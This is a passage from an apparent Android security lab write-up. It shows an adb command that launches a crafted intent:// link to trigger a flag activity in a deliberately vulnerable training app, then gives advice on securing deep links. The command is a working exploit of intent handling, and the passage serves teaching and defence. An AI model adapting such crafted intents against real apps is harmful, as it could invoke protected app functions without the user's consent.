╰─ adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=intent%3A%23Intent%3Bpackage%3Dio%2Ehextree%2Eattacksurface%3Baction%3Dio%2Ehextree%2Eaction%2EGIVE%5FFLAG%3Bcategory%3Dandroid%2Eintent%2Ecategory%2EBROWSABLE%3Bcomponent%3Dio%2Ehextree%2Eattacksurface%2Eactivities%2EFlag15Activity%3BS%2Eaction%3Dflag%3BB%2Eflag%3Dtrue%3Bend%3B'

Then all we need to do is click the link this brings us to in the emulator:

intent-48

When clicking the link we get our flag:

intent-49

Ending Note on App Links#

Given these issues we examined, you shouldn’t use deep link intents for any sensitive data like login flows but the chrome intent:// scheme can solve this by letting a site create an explicit intent. You could also solve this with app links which allow you to verify that the app and website are both trusted.

Related

Android - Dynamic Instrumentation
·8 mins
android mobile
What is Dynamic Instrumentation? # The more straight forward approach of understanding these android applications is by decompiling them and examining the code - after all the apk is just an archive.
Android - Intercepting Network Communications
·7 mins
mobile android
The Flow Chart # We need a bit more than just a proxy and a neat interception tool like Burp Suite in order to inspect the traffic of some android applications.
Mobile Application Security Considerations
·3 mins
mobile
I think that because mobile application testing is somewhat of a niche, the security considerations for mobile devices are also less understood.